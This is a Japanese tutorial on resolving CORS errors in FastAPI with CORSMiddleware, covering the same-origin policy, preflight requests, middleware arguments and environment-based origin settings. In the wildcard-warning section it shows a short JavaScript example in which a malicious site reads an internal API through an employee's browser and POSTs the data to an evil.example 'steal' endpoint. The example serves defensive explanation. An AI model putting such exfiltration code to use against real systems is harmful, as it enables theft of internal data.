ローカルで開発していると、フロントエンド(画面側)とバックエンド(サーバー側)を、別々のポート番号で動かす構成がよくあります。たとえばフロントエンドをhttp://localhost:5500、バックエンドを FastAPI(http://localhost:8001)で立ち上げる、といった具合です。ここで、「ポート番号」は、URLのホスト名のうしろにコロンで続く数字(:5500や:8001)のことです。
このように、フロントエンドとバックエンドを別々のポートで動かすと、ブラウザがリクエストをブロックすることがあります。これは CORS(Cross-Origin Resource Sharing)エラーと呼ばれるものです。本記事では、その原因を理解したうえで、FastAPI の ミドルウェア (CORSMiddleware) を使って実際に解消するまでの手順を解説します。
※ この記事の動作確認は2026年6月中頃に実施しています。
目次
- 事前準備
- まず失敗を再現する
- 同一オリジンポリシーと、別ポートだと弾かれる理由
- CORSMiddlewareを追加してallow_originsを指定する
- CORSの制限はサーバではなくブラウザが行っている
- add_middleware の主要な引数
- プリフライトの確認
- ワイルドカードの注意点
- 開発と本番の使い分け
- まとめ
事前準備
この記事で使うライブラリをインストールします。FastAPIにはCORSMiddlewareが最初から同梱されているため、FastAPIとuvicorn(ユビコーン)をインストールします。
pip install "fastapi[standard]"
# uv を使う場合
uv add "fastapi[standard]"fastapi[standard]の[standard]を付けると、FastAPI本体に加えて、Uvicornというサーバーや、後で使うfastapiコマンド(FastAPI CLI)などがまとめて入ります。
Uvicorn はASGI サーバーの一つです。ASGIとは、Pythonの非同期処理(async/await)に対応したWebアプリとサーバーの接続仕様のことです。ASGIはAsynchronous Server Gateway Interfaceの略です。
Pythonのバージョンは3.10以上が必須で、3.12以上が推奨です。
まず失敗を再現する
別ポートのバックエンドを JavaScript から呼んだときに何が起きるか、実際に手を動かして確認します。
バックエンドを立てる
次の内容で main.py を作成します。
# main.py
from fastapi import FastAPI
app = FastAPI()
@app.get("/api/hello")
async def hello():
return {"message": "Hello from backend"}アプリを起動します。FastAPIが公式に提供するコマンドを使う場合には、以下のコマンドを実行します。オートリロード(コードを変更すると自動で再起動する機能)はデフォルトで有効です。ライブラリをインストールする際にfastapi[standard]を用いてると最初からこのコマンドを使えます。
fastapi dev main.py --port 8001
# uv を使う場合
uv run fastapi dev main.py --port 8001この他にも、uvicornのコマンドも使えます。
uvicorn main:app --reload --port 8001
# uv を使う場合
uv run uvicorn main:app --reload --port 8001このように、main:app(「main.py の中の app という変数を使う」という意味)と、--reload(オートリロードの有効化)を明示する必要があります。
起動したら、ブラウザで http://localhost:8001/api/hello を開いて確認します。
{"message":"Hello from backend"}このように表示されれば、バックエンドは正常に動いています。
フロントエンドのHTMLを作る
次の内容で index.html を作成します。バックエンドとは別のフォルダに置いてください。
<!DOCTYPE html>
<html lang="ja">
<head>
<meta charset="UTF-8">
<title>CORSテスト</title>
</head>
<body>
<button id="btn">バックエンドを呼ぶ</button>
<p id="result"></p>
<script>
document.getElementById("btn").addEventListener("click", async () => {
try {
const res = await fetch("http://localhost:8001/api/hello");
const data = await res.json();
document.getElementById("result").textContent = data.message;
} catch (e) {
document.getElementById("result").textContent = "エラー: " + e.message;
}
});
</script>
</body>
</html>新しいターミナルを開き、この index.html を次のコマンドで開きます。index.htmlがあるフォルダで実行します (同じターミナルで続けて実行したい場合は、バックエンドの起動コマンドの末尾に & を付けてバックグラウンドで起動することもできますが、停止するときに kill %1 などの操作が必要になります)。
python -m http.server 5500
# uv を使う場合
uv run python -m http.server 5500ブラウザで http://localhost:5500 を開き、「バックエンドを呼ぶ」ボタンをクリックします。ブラウザの開発者ツール(F12 キーで開く)の「コンソール」タブを確認すると、次のようなエラーが出てきます(以下はChromeの場合です。文言はブラウザによって多少異なります)。
Access to fetch at 'http://localhost:8001/api/hello' from origin 'http://localhost:5500' has been blocked by CORS policy: No 'Access-Control-Allow-Origin' header is present on the requested resource.
このエラーには「CORS policy」「Access-Control-Allow-Origin」という言葉が出てきます。次の節でこれらの意味を理解し、解消方法に進みます。
同一オリジンポリシーと、別ポートだと弾かれる理由
オリジン(origin)とは、URL のうち次の3つの組み合わせを指します。
| 名称 | 部位 |
|---|---|
| スキーム | http やhttps の部分 |
| ホスト名 | localhost や example.com の部分 |
| ポート番号 | :5500 のような数字の部分 |
たとえば、http://localhost:5500ならば、スキームがhttp、ホスト名がlocalhost、ポート番号が5500です。そして、この3つの内、1つでも違えば別のオリジンとみなされます。次のすべては別のオリジンです。
| URL | 相違点 |
|---|---|
http://localhost:5500 | (基準) |
http://localhost:8001 | ポート番号が違う |
https://localhost:5500 | スキームが違う |
http://127.0.0.1:5500 | ホスト名が違う |
localhost と 127.0.0.1 は、同じ自分のパソコンを指していても、文字列としては別物なので別オリジン扱いになります。
ブラウザには、同一オリジンポリシー(same-origin-policy)という安全のための仕組みがあります。これは、「あるオリジンで読み込まれたページのJavaScriptが、別のオリジンから帰ってきたデータを勝手に読み取ることを、初期状態では禁止する」というルールです。
今回のように、フロントエンドが:5500、バックエンドが:8001だと、ポート番号が違うので両者は別オリジンになり、このルールに引っかかってデータを読めない、ということになります。ここで重要なのは、「この禁止はブラウザが行っている」という点です。バックエンド(サーバー)が拒否しているわけではありません。
このポリシーを回避して別オリジンのフロントから読めるようにするのが、CORS(Cross-Origin Resource Sharing)です。CORSは、そのまま訳すと「オリジン間リソース共有」で、同一オリジンポリシーをサーバー側から明示的に緩めるための仕組みです。サーバーが「このオリジンからのアクセスなら許可します」という情報をレスポンスに付けて返すと、ブラウザはそれを見て、「許可されているなら、このデータをJavaScriptに渡してよい」と判断します。
このときに付ける「許可します」という情報は、HTTPのヘッダという形で送られます。ヘッダとは、リクエストやレスポンスの本文とは別に付く、補足情報の見出しのようなものです。前述のエラーの中のAccess-Control-Allow-Originも、この許可を表すヘッダの名前です。前述のエラーは「そのヘッダがついていないので、許可できない」と言っています。
そして、FastAPIでこの許可ヘッダを自動でつけてくれるのがCORSMiddlewareです。
CORSMiddlewareを追加してallow_originsを指定する
CORSMiddlewareは、FastAPIのミドルウェアの一種です。ミドルウェアとは、個々の処理(エンドポイント)の手前と後ろに挟まって、すべてのリクエストとレスポンスに共通の処理を加える部品のことです。CORSの許可ヘッダは「どのエンドポイントへのアクセスにも共通でつけたい」ものなので、ミドルウェアとして登録するのが向いています。登録には、add_middleware(...)を使います。
main.py を次のように書き換えます。
# main.py
from fastapi import FastAPI
from fastapi.middleware.cors import CORSMiddleware
app = FastAPI()
# 許可するオリジンを明示的に列挙する
origins = [
"http://localhost:5500",
"http://127.0.0.1:5500",
]
app.add_middleware(
CORSMiddleware,
allow_origins=origins, # このオリジンからのアクセスを許可する
allow_credentials=True, # Cookie や認証情報の送受信を許可する
allow_methods=["*"], # すべての HTTP メソッドを許可する
allow_headers=["*"], # すべてのリクエストヘッダを許可する
)
@app.get("/api/hello")
async def hello():
return {"message": "Hello from backend"}オートリロードが有効であれば、ファイルを保存した時点でサーバが自動で再起動します。再びブラウザでhttp://127.0.0.1:5500にアクセスして「バックエンドを呼ぶ」ボタンをクリックすると、今度はエラーが出ずに Hello from backend と表示されます。
なお origins に http://127.0.0.1:5500 も入れているのは、開発中にうっかり 127.0.0.1 の方でアクセスしても動くようにするためです。前述のとおり localhost とは別オリジン扱いなので、両方使う可能性があるなら両方書いておきます。
CORSの制限はサーバではなくブラウザが行っている
ここで、ブラウザとコマンドラインの動作の違いを確かめてみます。curl はコマンドラインからHTTPリクエストを送るツールです。バックエンドに CORSMiddleware を追加する前の状態でも、curl からは問題なくデータが取れます。具体的には、main.pyの中のapp.add_middlewareの部分をコメントアウトしてから、次のコマンドを実行してみます。
curl http://localhost:8001/api/helloその結果は以下となります。
{"message":"Hello from backend"}
curl には、ブラウザのような「利用者を守るための制限」がありません。そのため、まったく同じ URL へのリクエストでも、こちらはふつうに結果が返ってきます。
同じ相手・同じ URL なのに、ブラウザからは弾かれ、CLIコマンドのcurlからは通る。この違いから「CORS の制限はサーバではなくブラウザ側の都合」だと分かります。言い換えると、CORS は「利用者のブラウザを、本人が気づかないうちに行われる別オリジンへのアクセスから守るための仕組み」です。
add_middleware の主要な引数
add_middleware に渡せる主な引数と、そのデフォルトは次のとおりです。
| 引数 | 意味 | 規定値 |
|---|---|---|
| allow_origins | 許可するオリジンの一覧 | [](=どこも許可しない) |
| allow_origin_regex | オリジンを正規表現でまとめて許可する | None |
| allow_methods | 許可する HTTP メソッド(GET や POST など) | ["GET"] |
| allow_headers | 許可するリクエストヘッダ | [] |
| allow_credentials | Cookie や認証情報の送受信を許可するか | False |
| expose_headers | JavaScript から読めるようにするレスポンスヘッダ | [] |
| max_age | 後述するプリフライトの結果を、ブラウザがキャッシュする秒数 | 600 |
■ allow_origin_regexhttps://.*\.example\.com(example.com のすべてのサブドメイン、の意味)のように、オリジンを正規表現でまとめて許可したいときに使います。固定の一覧で足りるならallow_origins だけで十分です。
■ allow_methods / allow_headers
どちらも ["*"] を指定すると「すべて許可」になります。デフォルトでは allow_methods は GET のみ、allow_headers は空なので、POST でデータを送る場合やカスタムヘッダを使う場合は明示が必要です。
■ allow_credentials
クレデンシャルとは、一般的には「身元を証明するもの」という意味で、パスワードやAPIキーなども含みます。ここでは特に、Cookie やログイン状態を示す Authorization ヘッダなど、ブラウザがリクエストに自動で付ける認証情報を指します。フロントエンドがこうした情報を付けてリクエストする場合に True にします。ただし、True にすると allow_origins にワイルドカード(["*"])が使えなくなります。Cookie などの認証情報を持つリクエストに対して「どこからでも許可」とするのは危険なため、仕様上禁止されています。詳しくは後半の「ワイルドカードの危険」で述べます。
■ expose_headers
デフォルトでは、ブラウザは一部のレスポンスヘッダしか JavaScript に公開しません。ここにヘッダ名を指定すると、そのヘッダをレスポンス(res)からメソッド res.headers.get(...) で読めるようになります。
■ max_age
プリフライト(後述)の結果をブラウザが一時的に保存しておく秒数です。同じリクエストが再び発生したとき、この時間内であればプリフライトを省略できるため、通信の回数を減らせます。デフォルトの600秒(10分)で多くの場合で十分です。
プリフライトの確認
これまでのハンズオンでは、GETでデータを取得していました。このような単純なリクエストでは起こりませんが、実際のAPIでよくあるようにJSONを送信する場合などには、ブラウザは本番のリクエストを送る前に、サーバーへ「このリクエストを送ってもよいか」という確認を自動で行います。この事前確認のことをプリフライトと呼びます。
プリフライトは、ブラウザが自動で送るものです。そして、それに対する応答はCORSMiddlewareが自動で返してくれます。そのため、プリフライトのために開発者がコードを書く必要はありません。ただ、ブラウザの開発者ツールを見ると、自分が書いた覚えのないリクエストが飛んでいて戸惑うことがあるため、ここで仕組みを押さえておきます。
プリフライトは、OPTIONSというHTTPメソッドで送られます。
すべてのクロスオリジンリクエストでプリフライトが起きるわけではありません。ブラウザは、リクエストの内容を見て、次の二種類に分けて扱います。
| リクエストの種類 | 内容 |
|---|---|
| 単純リクエスト | GET / HEAD / POSTのいずれかで、特別なヘッダを付けず、Content-Type(送るデータの種類)も限られたフォーム送信系の場合。このときはプリフライトを送らず、本番のリクエストをそのまま送ります。先ほどのハンズオンのGETがこれにあたります。 |
| プリフライトを伴うリクエスト | 上に当てはまらない場合。たとえばContent-Type: application/json を付けた POST(JSON を送るとき)や、DELETE、PUT、独自のヘッダを使うリクエストが該当します。このときは、本番のリクエストの前にプリフライトが送られます。 |
JSONをやり取りするAPIでは、ほぼ必ずプリフライトが起きます(application/jsonはフォーム送信系に含まれず、単純リクエストの条件から外れるためです)。普通のAPIを作っていると知らないうちにOPTIONSリクエストが飛んでいるのは、このためです。
プリフライトが実際にどんなやり取りなのかは、curlで再現できます。プリフライトにはOrigin(送信元のオリジン)とAccess-Control-Request-Method(これから送りたいメソッド)が付くので、それらを手動で指定してOPTIONSリクエストを送ります。
curl -i -X OPTIONS http://localhost:8001/api/hello \
-H "Origin: http://localhost:5500" \
-H "Access-Control-Request-Method: POST"-i はレスポンスのヘッダも表示するオプション、-X OPTIONS はメソッドを OPTIONS にする指定、-H はヘッダを付ける指定です。許可されている場合、おおむね次のようなレスポンスが返ります(ヘッダの並びや値はバージョンによって前後します)。
HTTP/1.1 200 OK
date: Mon, 15 Jun 2026 22:05:49 GMT
server: uvicorn
vary: Origin
access-control-allow-methods: DELETE, GET, HEAD, OPTIONS, PATCH, POST, PUT
access-control-max-age: 600
access-control-allow-credentials: true
access-control-allow-origin: http://localhost:5500
content-length: 2
content-type: text/plain; charset=utf-8
これがCORSMiddleware が自動で返したプリフライトへの応答です。それぞれの意味は次のとおりです。
■ access-control-allow-origin: http://localhost:5500
このオリジンを許可するという応答です。これがついているので、ブラウザはプリフライトから本番のリクエストに進みます。
■ access-control-allow-credentials: true
クレデンシャル(Cookieなど)の送受信を許可するという応答です。
■ access-control-allow-methods: DELETE, GET…
許可するメソッドの一覧です。コードでは allow_methods=["*"] と書きましたが、応答では * ではなく、具体的なメソッド名の一覧に展開されています。
■ vary: Origin
このレスポンスは Origin の値によって内容が変わる、という目印です。キャッシュが、別オリジン向けの応答を誤って使い回さないようにするために付きます。
■ access-control-max-age: 600
プリフライトの結果をブラウザが一時的に保存しておく秒数です。同じリクエストが再び発生したとき、この時間内であればプリフライトを省略できるため、通信の回数を減らせます。
許可していないオリジン(たとえば http://evil.example)を Origin に指定すると、access-control-allow-origin が返らず、ブラウザは本番のリクエストに進みません。
ワイルドカードの注意点
サンプルコードでは、許可するオリジンを1つずつ書いていましたが、allow_origins=["*"]と書くこともできます。この * は「すべてに一致する」という意味の記号で、ワイルドカードと呼ばれます。これにより、CORSについて、どのオリジンからも許可になりますが、セキュリティ的に問題が発生する場合があります。
["*"]はすべてのオリジンを許可するため、利用者がたまたま開いた全く別の悪意があるかもしれないサイトのJavaScriptからでも、利用者のAPIをブラウザ経由で呼べるようになります。とくに社内向けのAPIやローカルで動くサービスでは、利用者のブラウザという「内側」から呼ばれてしまう点が問題になります。
社内向けAPIやローカルで動くサービスは、ネットワーク的に外部から直接アクセスできないことが多いです。攻撃者が自分のPCから直接アクセスしようとしても、ネットワークの壁があって届きません。しかし、その内側にいる人(社員や開発者本人)のブラウザは、その内側のAPIにアクセスできます。これを攻撃に利用されます。
たとえば社員が、業務中に攻撃者の用意したサイト(https://evil.example)を開いたとします。allow_origins=["*"] になっていると、evil.example の JavaScript が、その社員のブラウザを経由して社内APIを呼べてしまいます。攻撃者自身は社内ネットワークに入れませんが、「内側にいる社員のブラウザ」を踏み台にします。
// evil.example 上で動く JavaScript(社員のブラウザで実行される)
const res = await fetch("http://internal-api.company.local/secret");
const data = await res.json(); // 本来読めないはずの内部APIの結果を読み取る
await fetch("https://evil.example/steal", { // それを攻撃者のサーバへ送る
method: "POST",
body: JSON.stringify(data),
});これにより、攻撃者のサイトから内部APIを呼び出せてしまううえに、その応答内容まで読み取られてしまいます。
なお、CORSはサーバの認証やアクセス制御の仕組みではなく、あくまでブラウザの動作を緩めるものなので、curl やサーバ同士の通信、Postman のようなツールには一切影響しません。CORSで発生する問題は「利用者のブラウザ上で動く別サイトからも読めてしまう」というものであって、サーバー自体のセキュリティについては、CORSとは別にログイン認証や権限チェックを用意する必要があります。
開発と本番の使い分け
開発と本番の使い分けは以下のようになります。
| 場面 | 実施内容 |
|---|---|
| 開発時 | ["*"] を使えば確かに CORS エラーは消えますが、本番にそのまま持ち込むと危険です。開発時から http://localhost:5500 のように実際に使うオリジンを明示しておけば、本番用の設定に直し忘れる事故を防げます。 |
| 本番時 | 実際に使うフロントエンドのドメイン(例:https://app.example.com)だけを許可します。さらに、許可するオリジンをコードに直接書かず、環境変数から読み込むのが定石です。 |
以下は、環境変数でオリジンを指定する例です。
import os
from fastapi import FastAPI
from fastapi.middleware.cors import CORSMiddleware
app = FastAPI()
# 環境変数 ALLOWED_ORIGINS から読み込む
# 例: ALLOWED_ORIGINS="http://localhost:5500,https://app.example.com"
raw = os.environ.get("ALLOWED_ORIGINS", "")
origins = [o.strip() for o in raw.split(",") if o.strip()]
app.add_middleware(
CORSMiddleware,
allow_origins=origins,
allow_credentials=True,
allow_methods=["*"],
allow_headers=["*"],
)os.environ.get("ALLOWED_ORIGINS", "") は、環境変数 ALLOWED_ORIGINS の値を読み込みます(未設定なら空文字を返します)。それをカンマで区切り、前後の空白を取り除いてリストにしています。こうしておけば、開発と本番で環境変数の中身を変えるだけで、許可オリジンを切り替えられます。コードを書き換える必要はありません。
まとめ
本記事では、ブラウザの同一オリジンポリシーを緩めるためのCORSの設定をFastAPIで行う方法をハンズオンと共に解説しました。以下に要点を示します。
- ブラウザは同一オリジンポリシーにより、別オリジン(スキーム・ホスト名・ポート番号のいずれかが異なる)から返ってきたデータをJavaScriptに読み込ませない。フロントエンドとバックエンドのポート番号が違うと、これに引っかかる。
- CORSは、サーバー側から「このオリジンを許可する」というヘッダを付けて、この制限を明示的に緩める仕組み。FastAPIではそれをCORSMiddlewareで行う。
- allow_originsに、許可したいオリジンを列挙する。CORSMiddlewareは初期状態ではほぼ何も許可しないので、必要なメソッドやヘッダを明示する。
- JSONをやり取りするAPIでは、本番リクエストの前にプリフライト(OPTIONS)が自動で飛ぶ。CORSMiddlewareが自動で応答するため、ユーザーは何もしなくてもよい。
- オリジンをワイルドカードで全て許可するのは手軽であるが、別サイトのJavaScriptから呼び出され、レスポンスを読み取られてしまうので使うべきではない。
- 許可するオリジンは環境変数から読み込み、開発と本番で切り替えると安全である。